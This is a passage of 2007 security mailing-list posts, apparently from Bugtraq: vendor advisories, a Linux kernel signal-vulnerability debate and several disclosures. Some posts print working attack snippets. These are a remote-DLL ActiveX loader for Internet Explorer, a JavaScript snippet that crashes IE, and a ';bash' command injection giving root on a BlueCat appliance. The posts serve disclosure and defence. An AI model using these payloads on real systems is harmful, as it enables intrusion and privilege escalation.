TlbInf32 ActiveX Command Execution
= TlbInf32 ActiveX Command Execution
=
= MS Bulletin posted:
= http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx
=
= Affected Software:
= Internet Explorer
= tlbInf32.dll
= vstlbinf.dll
=
= Public disclosure on Wednesday August 15, 2007
The TypeLib Information object library , implemented in TlbInf32.dll,
is a set of COM objects designed to make type library browsing
functionality easily accessible to both Visual Basic and C++
programmers.
Although it is not marked as safe for scripting in the registry, it does
implement IObjectSafety.
Report for Clsid: {8B217746-717D-11CE-AB5B-D41203C1}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
The TypeLibInfoFromFile() function is used to open a file and retrieve
the
typelib information from it.
TypeLibInfoFromFile(ByVal FileName As String) As TypeLibInfo
This function will accept a webdav/smb share to a DLL file, allowing the
retrieval of information from a DLL hosted on a remote server.
TlbInf32.chm
Type libraries can contain help information for the library itself
(TypeLibInfo object), each TypeInfo (TypeInfo object), and each member
(MemberInfo object). This information is available in several
different
forms.
HelpString is the documentation string which appears as a short
description of the string in object browsers. If the optional LCID
(Language/Country identifier) is specified, then the returned string
is
localized if possible.
Documentation strings can be stored either in the type library
directly
or retrieved via a call to the DLLGetDocumentation entry point in the
Dll
specified by the HelpStringDll property.
The HelpStringContext is passed to the HelpStringDll to get the
correct
documentation string for the object. The HelpStringDll and
HelpStringContext properties values are used automatically by the
HelpString property.
If the DLL file specified in the call to TypeLibInfoFromFile() has been
modified to direct the HelpStringDll property to a DLL which exports
a malicious DLLGetDocumentation function, then this function will be
executed when a request for the HelpString property is made.
object width=1000 height=20 classid=CLSID:CLASSID
name=test/object
x= test.TypeLibInfoFromFile(IPADDRESS\\SHARE\\remote.dll)
' Call the remote DLLGetDocumentation function
alert(x.Interfaces.Item(a).Members.Item(b).HelpString)
== Solutions ==
Install the vendor supplied patch.
http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx
== Credit ==
Discovered and advised to Microsoft November 23 2006 by Brett Moore of
Security-Assessment.com
As this is my last advisory release before I leave sa.com and head off
into the future, I gotta say thanx to the team there, its been a blast
guys.
All you kiwis overseas have you thought about a trip home.
www.kiwicon.org
+-SoSD-+
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
On Wed, 15 Aug 2007, Wojciech Purczynski wrote: Sending a signal to privileged process is a privilege itself. Sure. But once control was transferred to some other code that we have no control over, we have no more control over when the signal is sent. We just can't send that signal at arbitrary moment. If you as an attacker can create arbitrary setuid root binary in the system, this game is not worth anymore, since you already won. Under some circumstances this may lead to other consequences. For example I was able to code local root exploit using some very common suid binary, although its usage is somewhat limited. Again, if an attacker can create arbitrary setuid root binary in the system, the latter is already broken. And if the setuid root binary allows arbitrary code execution on getting some signal, it is vulnerable itself. Unexpected signals can be generated at any time by terminals, init, various system daemons, non-blocking i/o for files open before exec(), alarms, failed pageins, etc. If the program (not necessarily setuid/setgid) can't properly handle those situations, it is broken by design. Signals are not something we can trust. -- Sincerely Your, Dan.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
Could you please explain it to me where do you see privilege escalation here? Sending a signal to privileged process is a privilege itself. Under some circumstances this may lead to other consequences. For example I was able to code local root exploit using some very common suid binary, although its usage is somewhat limited.
[USN-498-1] libvorbis vulnerabilities
=== Ubuntu Security Notice USN-498-1August 16, 2007 libvorbis vulnerabilities CVE-2007-3106, CVE-2007-4029 === A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: libvorbis0a 1.1.2-0ubuntu2.2 Ubuntu 6.10: libvorbis0a 1.1.2-1ubuntu1.2 Ubuntu 7.04: libvorbis0a 1.1.2.dfsg-1.2ubuntu2 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: David Thiel discovered that libvorbis did not correctly verify the size of certain headers, and did not correctly clean up a broken stream. If a user were tricked into processing a specially crafted Vorbis stream, a remote attacker could execute arbitrary code with the user's privileges. Updated packages for Ubuntu 6.06 LTS: Source archives: http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-0ubuntu2.2.diff.gz Size/MD5: 1945 86c1fc2f0361eb0db830f867693a548e http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-0ubuntu2.2.dsc Size/MD5: 697 c620f1d709ab55f55b183fd3c91bce93 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2.orig.tar.gz Size/MD5: 1316434 37847626b8e1b53ae79a34714c7b3211 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_amd64.deb Size/MD5: 488058 fcd99f10a7fb558a943974dbb563c9f0 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_amd64.deb Size/MD5: 101362 35ee478f24e55bb802928d63ed50987c http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_amd64.deb Size/MD5: 100724 9e207785d1061752b9c6a775021c5a72 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_amd64.deb Size/MD5:18634 ca50aa565c499a5e1e852683dc9b3eed i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_i386.deb Size/MD5: 468650 99c44c0a44e97b14c60b2792f68dfa46 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_i386.deb Size/MD5:95664 a54dc7b20cc26bc3f9310e44ac4c5302 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_i386.deb Size/MD5:82654 b8925d42ec69fad0e5369cb058279ac3 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_i386.deb Size/MD5:18758 a3e870b7c250e1ad382273351a2c0c01 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_powerpc.deb Size/MD5: 503142 de3fa1e43f1969c184a2830a3bada1a3 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_powerpc.deb Size/MD5: 105654 238300db6aa1e8ba618cf97de53adb40 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_powerpc.deb Size/MD5:86510 cea1dd0b049c9cf7709ff9addbc9ce9e http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_powerpc.deb Size/MD5:21872 a5ccde83452225ee9572591b3ac12089 sparc architecture (Sun SPARC/UltraSPARC) http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_sparc.deb Size/MD5: 478886 e1b097b2557761166b4c72cb1941a8d5 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_sparc.deb Size/MD5:98930 ddaa87cf4d545ed435ce6b5d2d7686dc http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_sparc.deb Size/MD5:84502 aba0dee287ffe6cc9dd31410cdf0c480 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_sparc.deb Size/MD5:19474 9ca0632d7eec2b2c5357ff0cf6dd5bd5 Updated packages for Ubuntu 6.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-1ubuntu1.2.diff.gz Size/MD5: 4485 ddcf8d4ff7fd81dab82dcadc27fbab2b http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-1ubuntu1.2.dsc Size/MD5: 785 a8d9b7dd0e10ad85880e1865487a1068 http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2.orig.tar.gz Size/MD5: 1316434 37847626b8e1b53ae79a34714c7b3211 amd64
Re: Trackeur v.1 Remote File #304;nclude Bug
sorry man but its not exploit u forgot something include(track_config.php); and this code in the begining of ur file that contain the exploit and the config file have value for $header track_config.php //Design $header=c_header.php; $footer=c_footer.php; so it CAANT BE INCLUSION it already have value in the config nd the tracking.php file included the config so its not inclusion
Olate Download 3.4.1 ~ admin.php ~ Admin authentication bypassing
VISIT ORIGINAL LINK FOR MORE DETAILES http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html VISIT ORIGINAL LINK FOR MORE DETAILES oftware: Olate Download Sowtware's Web Site: http://www.olate.co.uk/ Versions: 3.4.1 Status: Unpatched Exploit: Available Solution: Not Available Discovered by: imei addmimistrator Risk Level: High —–Description— There is some flews in Olate Download software, one of the popular files' links list, Ideal for download sites, that results to bypassing authentication of site's admin. An attacker can gain access to Admin area have full control permissions to maintaing entire site. VISIT ORIGINAL LINK FOR MORE DETAILES http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html VISIT ORIGINAL LINK FOR MORE DETAILES -- imei Addmimistrator Visit my SeQrity Homepage at: http://myimei.com/security
MS07-042 XMLDOM substringData() PoC
This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2 var xmlDoc = new ActiveXObject(Microsoft.XMLDOM); xmlDoc.loadXML(dummy/dummy); var txt = xmlDoc.createTextNode(huh); var out = txt.substringData(1,0x7fff); Installing the patch from MS07-042 fixes it. Cheers, Alla Bezroutchko Scanit - http://www.scanit.be/
FLEA-2007-0046-1 cups
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Foresight Linux Essential Advisory: 2007-0046-1 Published: 2007-08-14 Rating: Major Updated Versions: cups=/[EMAIL PROTECTED]:devel//[EMAIL PROTECTED]:1-devel//1/1.2.12-0.2-1 group-dist=/[EMAIL PROTECTED]:1-devel//1/1.3.2-0.8-2 References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387 https://issues.foresightlinux.org/browse/FL-471 https://issues.rpath.com/browse/RPL-1596 https://issues.rpath.com/browse/RPL-1604 Description: Previous versions of the cups package are vulnerable to an int overflow in included xpdf code, which can be exploited via a specially-crafted PDF file to execute arbitrary code. - --- Copyright 2007 Foresight Linux Project This file is distributed under the terms of the MIT License. A copy is available at http://www.foresightlinux.org/permanent/mit-license.html -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.7 (GNU/Linux) iD8DBQFGxEgWWu/kq4lN9jkRApuYAJ0RI6vX98gwIfG97BFV3Za2sbkjtgCePZNo 82BDXAmioNAnPzINzAGo7EQ= =Dyo+ -END PGP SIGNATURE-
Another Oracle Forensics Paper...
Hey all, For anyone that's interested I've just posted another paper entitled Oracle Forensics Part 6: Examining Undo Segments, Flashback and the Oracle Recycle Bin. You can get this and other papers on Oracle forensics from http://www.databasesecurity.com/oracle-forensics.htm Cheers, David Litchfield -- E-MAIL DISCLAIMER The information contained in this email and any subsequent correspondence is private, is solely for the intended recipient(s) and may contain confidential or privileged information. For those other than the intended recipient(s), any disclosure, copying, distribution, or any other action taken, or omitted to be taken, in reliance on such information is prohibited and may be unlawful. If you are not the intended recipient and have received this message in error, please inform the sender and delete this mail and any attachments. The views expressed in this email do not necessarily reflect NGS policy. NGS accepts no liability or responsibility for any onward transmission or use of emails and attachments having left the NGS domain. NGS and NGSSoftware are trading names of Next Generation Security Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1 4BF with Company Number 04225835 and VAT Number 783096402
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
On Thu, 16 Aug 2007, Glynn Clements wrote: The signal in question in the given situation is issued by PRIVILEGED process, no matter how. And that's the bug, The case we consider is of course a bug. But generally privileged process sending a signal to another privileged process is of course not a bug. Yes, the user toggles a signal that privileged process sends to another one, but how many ways to trigger sending a signal to a process spawned by that user are there? User can always press Ctrl-C, Ctrl-Q, Ctrl-R at the terminal, he can hang up the terminal, he can open some socket/pipe/FIFO for non-blocking I/O and issue fcntl() call to activate sending either a SIGIO or some other signal when some new data become available in it, he can issue alarm(), and probably many, many, many other ways. Yes, all they can be turned off, but that would require a large artificial intelligence and excessive knowledge about everything occurred in the system before startup from the program being started. It's much simpler for that program to just block, ignore or install proper signal handler for every possible signal in the system whose default action is terminating a process. because it's an unprivileged process which *causes* the signal to be issued. If the process tried to send the signal directly with kill(), it would fail. This vulnerability is a form of privilege escalation; it can cause the sending of signal which would normally be prohibited on security grounds. The matter here is that you cannot abuse this bug to send arbitrary signal to arbitrary process in the system. You can only send it to your children. And this is in general not exploitable. For example, what scary things can happen when you send SIGKILL, SIGQUIT, SIGBUS, SIGSTOP or SIGSEGV to /bin/su in condition that the latter doesn't allow arbitrary code execution on receiving a signal? Well written program must not depend on anything that is out of it's control. That's neither possible Really? Let's consider the following scenario. You write an analogue of /bin/passwd. Here you make a temporary copy of /etc/shadow, hard link /etc/shadow to /etc/shadow- pre-removing existing /etc/shadow- if that exists, perform operations on the temporary copy of /etc/shadow, close it and issue rename() on it to rename it to /etc/shadow. According to specs (see rename(2)) rename() atomically removes /etc/shadow (at this point it is an old link to an old /etc/shadow content) and renames temporary copy of /etc/shadow to /etc/shadow. At any point in this algorithm the content of /etc/shadow is consistent. nor sensible. If it is not sensible, it is the more not a problem. Programs have to rely upon the OS to guarantee certain behaviours. The problem here is that there is a mechanism which causes a guarantee to be violated. Yes, and I said this is a bug, but it is in general not exploitable. Just in case it hasn't sunk in yet, the inability to trust signals is a consequence of this bug. Ordinarily, it should be possible to rely upon the fact that an asynchronous signal cannot be sent to a suid process by an unprivileged user. I disagree with you in that. Any hard guarantee can be given only by God. I repeat, signals are in general not a reliable information source since they can be generated in a couple of ways, even by an unkind superuser :-) . In fact, PDEATHSIG should be reset for every binary, not just suid/sgid, since it emits signal that exec()ed program may not expect. Are you talking about the parent exec()ing or the child? No matter. If you're talking about the child, that would almost entirely defeat the purpose of having PDEATHSIG. The only useful exploitation of PDEATHSIG I can imagine is signalling to a server subprocess that it's superprocess died for some reason and the subprocess should exit as far as possible in order to avoid some harm. That model doesn't include execing. But in any case, every program shouldn't trust any signal in the system. That is a good tone rule. In which case, what's the point of having signals in the first place? Processes are supposed to respond to signals. Security is achieved placing controls on who can signal who, and this bug circumvents that mechanism. But the process in general is in no way obliged to respond to every signal unless explicitly wanted. I still don't see why this bug should be considered as a security issue but not as an ordinary bug. Because it's a form of privilege escalation. Non-root processes can't normally send signals to processes which are owned by another UID (and most modern operating systems prevent non-root processes from sending signals to any process where suid/sgid is involved regardless of the current UID or EUID). I repeat, this bug cannot be abused to send arbitrary signal to arbitrary process in the system. Only direct successors (children) are affected, and this is in
Re: Vulnerability in multiple now playing scripts for various IRC clients
On Wednesday 15 August 2007 18:27, [EMAIL PROTECTED] wrote:
I may be rusty with knowledge about mirc (say almost 10 years out of
date)...but, in what situation would the pipe ('|') ever be processed from
a variable, even if it was read from a mp3 ID3?
It gets processed before it ends up in an mirc variable. The plugin to link
your media player to mirc sends something like:
/set %songname insert song name here
And it's when executing that command that it goes wrong already, not in the
command that's using the variable. That's why it's easier to exploit: the
user only needs to play the song, he doesn't need to do anything in mirc.
In my old notes, I found that at least these plugins have this problem:
* Nullsoft mIRC Control Plug-in v0.6 (gen_mirc.dll) and other versions
* mIRC Control EX Plug-In V 2.00 (gen_ircex.dll) and other versions
* mIRCPlug v1.0,1.2 (gen_mircplug.dll)
Those are all old plugins. I don't know if they're still used a lot, or what
the currently popular plugins for this are, and if they're vulnerable or not.
On Wednesday 15 August 2007 19:34, Michael Tharp wrote:
This is probably a bigger concern for *nix scripts, especially of the
homebrew variety
I haven't found any public script for a *nix client that allows arbitrary
command execution like this (they only allow sending IRC commands to the
server).
Wouter.
TS-2007-003-0: BlueCat Networks Adonis CLI root privilege escalation
Template Security Security Advisory --- BlueCat Networks Adonis CLI root privilege escalation Date: 2007-08-16 Advisory ID: TS-2007-003-0 Vendor: BlueCat Networks, http://www.bluecatnetworks.com/ Revision: 0 Contents Summary Software Version Details Impact Exploit Workarounds Obtaining Patched Software Credits Revision History Summary --- Template Security has discovered a root privilege escalation vulnerability in the BlueCat Networks Adonis DNS/DHCP appliance which allows the admin user to gain root privilege from the Command Line Interface (CLI). Software Version Adonis version 5.0.2.8 was tested. Details --- The admin account on the Adonis DNS/DHCP appliance provides access to a CLI that allows an administrator to perform tasks such as setting the IP address, netmask, system time and system hostname. By entering a certain command sequence, the administrator is able to execute a command as root. Impact -- Access to the admin account is the same as root access on the appliance. Exploit --- Here we use the 'set host-name' CLI command to execute a root shell: :adonisset host-name ;bash adonis.katter.org [EMAIL PROTECTED]:~# id uid=0(root) gid=0(root) groups=0(root) NOTE: There may be other command sequences that accomplish the same result. Workarounds --- Only provide admin account access to administrators that also have root account access on the appliance. Obtaining Patched Software -- Contact the vendor. Credits --- forloop discovered this vulnerability while enjoying a Tuborg Gold. forloop is a member of Template Security. Revision History 2007-08-16: Revision 0 released
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
Dan Yefimov wrote: If setuid program just trusts the environment in that it doesn't properly handle or block signals whose default action is terminating the process and doesn't perform it's actions in a fail-safe manner, it is certainly broken. Setuid program must always be careful in signal handling and data processing. Ordinarily, a process can assume that certain signals (those which can only be generated by kill()) can only be received as a result of an action by a sufficiently privileged process. The signal in question in the given situation is issued by PRIVILEGED process, no matter how. And that's the bug, because it's an unprivileged process which *causes* the signal to be issued. If the process tried to send the signal directly with kill(), it would fail. This vulnerability is a form of privilege escalation; it can cause the sending of signal which would normally be prohibited on security grounds. Well written program must not depend on anything that is out of it's control. That's neither possible nor sensible. Programs have to rely upon the OS to guarantee certain behaviours. The problem here is that there is a mechanism which causes a guarantee to be violated. Also, other signals which could be triggered by the predecessor (e.g. SIGALRM triggered due to alarm() followed by exec()) can normally be prevented by specific means (e.g. resetting any outstanding timers). This bug means that such steps are insufficient. A consequence of this bug is that no signal can be trusted. Sure. Just in case it hasn't sunk in yet, the inability to trust signals is a consequence of this bug. Ordinarily, it should be possible to rely upon the fact that an asynchronous signal cannot be sent to a suid process by an unprivileged user. Also, if it's possible to set the signal to one which cannot be blocked (SIGKILL, SIGSTOP), there's not much that the callee can do about it. Yes, and well written program must operate in a fail safe way, that is if it is killed, for example, by sadly known OOM killer, all data it operated on must remain in a consistent state. However nice failsafe may be, it is often either impossible or impractical. In general, a process shouldn't have to protect itself against the superuser, and in some respects shouldn't even try to. From another hand, PDEATHSIG should be always reset on exec() like signal handlers are (I'm not sure though if that is directly specified by any standard). Please correct me if I'm wrong. prctl() isn't specified by any standard; it's Linux-specific. That's a significant part of the problem: code which isn't specifically written for Linux isn't going to take steps to mitigate this issue (e.g. reset the parent death signal). But the suggestion that this should be reset on exec() (at least for a suid/sgid binary) is sound, IMHO. In fact, PDEATHSIG should be reset for every binary, not just suid/sgid, since it emits signal that exec()ed program may not expect. Are you talking about the parent exec()ing or the child? If you're talking about the parent, it isn't the parent's successor (the exec()d program which inherits the parent's PID) which gets the signal. If you're talking about the child, that would almost entirely defeat the purpose of having PDEATHSIG. A parent uses this feature to cause a signal to be delivered to its children when it terminates. The children will usually be created by fork()+exec(), so resetting it upon exec() would mean that it was only useful for the fork()-without-exec() case, which is quite uncommon. But in any case, every program shouldn't trust any signal in the system. That is a good tone rule. In which case, what's the point of having signals in the first place? Processes are supposed to respond to signals. Security is achieved placing controls on who can signal who, and this bug circumvents that mechanism. I still don't see why this bug should be considered as a security issue but not as an ordinary bug. Because it's a form of privilege escalation. Non-root processes can't normally send signals to processes which are owned by another UID (and most modern operating systems prevent non-root processes from sending signals to any process where suid/sgid is involved regardless of the current UID or EUID). Moreover, I would suggest that exec()ing a suid/sgid binary should reset *everything* which is not explicitly specified as being preserved. Specified with what? POSIX, XPG, SUS. Do open files fall into this category? Descriptors are preserved across exec() unless the FD_CLOEXEC flag is set. http://www.opengroup.org/onlinepubs/009695399/functions/execve.html File descriptors open in the calling process image shall remain open in the new process image, except for those whose close-on- exec flag FD_CLOEXEC is set. For those file descriptors that remain open, all
[ GLSA 200708-11 ] Lighttpd: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200708-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Lighttpd: Multiple vulnerabilities Date: August 16, 2007 Bugs: #185442 ID: 200708-11 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Several vulnerabilities were reported in Lighttpd, most of them allowing a Denial of Service and potentially the remote execution of arbitrary code. Background == Lighttpd is a lightweight HTTP web server. Affected packages = --- Package / Vulnerable / Unaffected --- 1 www-servers/lighttpd 1.4.16 = 1.4.16 Description === Stefan Esser discovered errors with evidence of memory corruption in the code parsing the headers. Several independent researchers also reported errors involving the handling of HTTP headers, the mod_auth and mod_scgi modules, and the limitation of active connections. Impact == A remote attacker can trigger any of these vulnerabilities by sending malicious data to the server, which may lead to a crash or memory exhaustion, and potentially the execution of arbitrary code. Additionally, access-deny settings can be evaded by appending a final / to a URL. Workaround == There is no known workaround at this time. Resolution == All Lighttpd users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =www-servers/lighttpd-1.4.16 References == [ 1 ] CVE-2007-3946 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3946 [ 2 ] CVE-2007-3947 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3947 [ 3 ] CVE-2007-3948 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3948 [ 4 ] CVE-2007-3949 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3949 [ 5 ] CVE-2007-3950 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3950 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200708-11.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgpNXtFHQdNfG.pgp Description: PGP signature
[ GLSA 200708-12 ] Wireshark: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200708-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Wireshark: Multiple vulnerabilities Date: August 16, 2007 Bugs: #183520 ID: 200708-12 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Multiple vulnerabilities have been discovered in Wireshark, allowing for the remote execution of arbitrary code and a Denial of Service. Background == Wireshark is a network protocol analyzer with a graphical front-end. Affected packages = --- Package / Vulnerable / Unaffected --- 1 net-analyzer/wireshark 0.99.6= 0.99.6 Description === Wireshark doesn't properly handle chunked encoding in HTTP responses (CVE-2007-3389), iSeries capture files (CVE-2007-3390), certain types of DCP ETSI packets (CVE-2007-3391), and SSL or MMS packets (CVE-2007-3392). An off-by-one error has been discovered in the DHCP/BOOTP dissector when handling DHCP-over-DOCSIS packets (CVE-2007-3393). Impact == A remote attacker could send specially crafted packets on a network being monitored with Wireshark, possibly resulting in the execution of arbitrary code with the privileges of the user running Wireshark which might be the root user, or a Denial of Service. Workaround == In order to prevent root compromise, take network captures with tcpdump and analyze them running Wireshark as a least privileged user. Resolution == All Wireshark users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =net-analyzer/wireshark-0.99.6 References == [ 1 ] CVE-2007-3389 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3389 [ 2 ] CVE-2007-3390 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3390 [ 3 ] CVE-2007-3391 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3391 [ 4 ] CVE-2007-3392 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3392 [ 5 ] CVE-2007-3393 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3393 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200708-12.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2007 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgpZkSDzAwNa3.pgp Description: PGP signature
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
Dan Yefimov wrote: The signal in question in the given situation is issued by PRIVILEGED process, no matter how. And that's the bug, The case we consider is of course a bug. But generally privileged process sending a signal to another privileged process is of course not a bug. Yes, the user toggles a signal that privileged process sends to another one, but how many ways to trigger sending a signal to a process spawned by that user are there? User can always press Ctrl-C, Ctrl-Q, Ctrl-R at the terminal, he can hang up the terminal, he can open some socket/pipe/FIFO for non-blocking I/O and issue fcntl() call to activate sending either a SIGIO or some other signal when some new data become available in it, he can issue alarm(), and probably many, many, many other ways. All of these are known, documented behaviours. The signals involved can be blocked or ignored, and the mechanisms which send those signals can be disabled (tcsetattr() can disable Ctrl-C etc, unused descriptors can be closed, timers can be reset, etc). Setuid programs will normally take such steps at startup if they have critical sections which should avoid being interrupted (e.g. to prevent stale lock files). However, the bug in question allows sending signals which cannot be blocked or ignored (SIGKILL, SIGSTOP). Moreover, the cause (PDEATHSIG) cannot be disabled, and will be unknown to to programmers who aren't familiar with the Linux-specific prctl() call (and even programmers who know about it won't be allowing for the fact that it could be triggered by an unprivileged process due to this bug). Yes, all they can be turned off, but that would require a large artificial intelligence and excessive knowledge about everything occurred in the system before startup from the program being started. Such is life for anyone writing a setuid executable. However, the issues are known and documented. At least, most of them are; but not the PDEATHSIG issue. It's much simpler for that program to just block, ignore or install proper signal handler for every possible signal in the system whose default action is terminating a process. SIGKILL and SIGSTOP cannot be blocked, handled or ignored. Signals which don't terminate the process may still have undesirable consequences, e.g. use of SIGUSR1 as a secure signalling mechanism (at least, it's supposed to be secure). because it's an unprivileged process which *causes* the signal to be issued. If the process tried to send the signal directly with kill(), it would fail. This vulnerability is a form of privilege escalation; it can cause the sending of signal which would normally be prohibited on security grounds. The matter here is that you cannot abuse this bug to send arbitrary signal to arbitrary process in the system. You can only send it to your children. Including setuid children. That isn't supposed to be possible. And this is in general not exploitable. For example, what scary things can happen when you send SIGKILL, SIGQUIT, SIGBUS, SIGSTOP or SIGSEGV to /bin/su in condition that the latter doesn't allow arbitrary code execution on receiving a signal? Killing a process can leave stale lock files resulting in a denial of service. Sending SIGSTOP may behave likewise, only moreso: the creator will still exist, so the lock files may not be considered stale, fcntl() locks will still be held, etc. There's more risk if a program uses signals (e.g. SIGUSR1) for remote control. If there wasn't *any* risk, there wouldn't be any restrictions on sending signals to privileged processes. Well written program must not depend on anything that is out of it's control. That's neither possible Really? Let's consider the following scenario. You write an analogue of /bin/passwd. Here you make a temporary copy of /etc/shadow, hard link /etc/shadow to /etc/shadow- pre-removing existing /etc/shadow- if that exists, That interferes with any existing passwd invocation. Programs have to rely upon the OS to guarantee certain behaviours. The problem here is that there is a mechanism which causes a guarantee to be violated. Yes, and I said this is a bug, but it is in general not exploitable. It's roughly as exploitable as any other bug which allows signals to be sent to privileged processes, i.e. it's mostly a DoS issue. Just in case it hasn't sunk in yet, the inability to trust signals is a consequence of this bug. Ordinarily, it should be possible to rely upon the fact that an asynchronous signal cannot be sent to a suid process by an unprivileged user. I disagree with you in that. Any hard guarantee can be given only by God. I repeat, signals are in general not a reliable information source since they can be generated in a couple of ways, even by an unkind superuser :-) . You cannot protect against the superuser, nor should you even try. Programs which attempt to evade control by the owner of
Local privilege escalation vulnerability in Cisco VPN client
